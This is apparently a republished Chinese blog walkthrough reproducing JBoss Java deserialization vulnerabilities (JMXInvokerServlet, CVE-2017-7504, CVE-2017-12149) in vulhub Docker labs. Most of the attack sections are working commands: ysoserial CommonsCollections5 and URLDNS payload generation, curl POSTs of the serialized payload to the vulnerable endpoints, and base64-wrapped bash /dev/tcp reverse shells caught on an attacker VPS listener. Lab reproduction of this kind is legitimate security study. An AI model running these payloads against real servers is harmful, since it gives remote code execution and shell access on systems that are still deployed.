JBoss 系列漏洞复现

Posted don9sec

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了JBoss 系列漏洞复现相关的知识,希望对你有一定的参考价值。

前言

        这篇文章的环境均来自p牛的vulhub:

建议在pc端阅读



JMXInvokerServlet-deserialization

执行如下命令启动JBoss环境:

docker-compose up -d

踩坑:

端口占用,修改docker-compose.yml, 端口改成9999JBoss 系列漏洞复现

环境启动后,目标为

http://your-ip:8080
JBoss 系列漏洞复现

这是经典的JBoss反序列化漏洞,JBoss在

/invoker/JMXInvokerServlet

请求中读取了用户传入的对象,可利用Apache Commons Collections中的Gadget执行任意代码,。

利用方式同CVE-2017-12149 (见下文).



CVE-2017-7504

执行如下命令启动JBoss AS 4.0.5:

docker-compose up -d

环境启动后,目标为

http://your-ip:8080

JBoss 系列漏洞复现漏洞出现在

/jbossmq-httpil/HTTPServerILServlet

借助ysoserial的CommonsCollections5利用链来复现。

生成payload,先验证环境是否搭建成功:

# 创建文件bailujava -jar ysoserial.jar CommonsCollections5 "touch /tmp/bailu" > poc_touch_cve_2017_7504.ser# 将poc_touch_cve_2017_7504.ser文件内容作为POST Body提交curl http://ip:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @poc_touch_cve_2017_7504.ser

回到靶机的docker中,发现文件已成功创建:

docker psdocker exec -it df8b31ce3722 /bin/bashls tmp/

JBoss 系列漏洞复现

到这一步,环境就算搭建成功了。


dnslog-URLDNS

使用ysoserialURLDNS 模块生成dnslog回显的payload:

java -jar ysoserial.jar URLDNS http://dnslog > poc_dnslog.bincurl http://ip:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @poc_dnslog.bin

成功在dnslog平台收到记录:JBoss 系列漏洞复现


reverse shell

由于

Runtime.getRuntime().exec()

中不能使用管道符等bash需要的方法,需要用进行一次base64编码:

bash -i >& /dev/tcp/0.0.0.0/7777 0>&1

JBoss 系列漏洞复现

使用ysoserial.jar生成payload,并向/jbossmq-httpil/HTTPServerILServlet发起post请求,提交poc_shell.ser:

# base64_str 见上图的编码部分java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,base64_str}|{base64,-d}|{bash,-i}" > poc_shell.sercurl http://ip:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @poc_shell.ser

如图,成功反弹shell:JBoss 系列漏洞复现



CVE-2017-12149

执行如下命令启动JBoss 5.x/6.x:

# 关掉上一步的dockerdocker kill df8b31ce3722docker-compose up -d

环境启动后,目标为

http://your-ip:8080

JBoss 系列漏洞复现漏洞出现在

/invoker/readonly

请求中,服务器将用户提交的POST内容进行了Java反序列化:JBoss 系列漏洞复现

同CVE-2017-12149, 使用bash来反弹shell,但由于

Runtime.getRuntime().exec()

中不能使用管道符等bash需要的方法,需要进行一次base64编码。

注:使用的gadget是CommonsCollections5。


dnslog-URLDNS

使用ysoserialURLDNS 模块生成dnslog回显的payload:

java -jar ysoserial.jar URLDNS http://dnslog > poc_dnslog.bincurl http://ip:8080/invoker/readonly --data-binary @poc_dnslog.bin

成功在dnslog平台收到记录:JBoss 系列漏洞复现


reverse shell

同CVE-2017-7504,由于

Runtime.getRuntime().exec()

中不能使用管道符等bash需要的方法,需要用进行一次base64编码:

bash -i >& /dev/tcp/0.0.0.0/8888 0>&1

得到编码结果:JBoss 系列漏洞复现

使用ysoserial.jar 生成poc_shell.ser

# base64_str 见上图java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,base64_str}|{base64,-d}|{bash,-i}" > poc_shell.ser

并在attack_vps监听8888端口:JBoss 系列漏洞复现

curl http://ip:8080/invoker/readonly --data-binary @poc_shell.ser

如图,成功反弹shell:


结语

    这几天突然体会到了弹计算器的快乐!

以上是关于JBoss 系列漏洞复现的主要内容,如果未能解决你的问题,请参考以下文章

Jboss反序列化漏洞复现(CVE-2017-12149)

6.JBoss5.x6.x 反序列化漏洞(CVE-2017-12149)复现

jboss 未授权访问漏洞复现

JBOSS未授权漏洞详细复现

Jboss反序列化漏洞复现(CVE-2017-12149)

JBoss未授权访问漏洞Getshell过程复现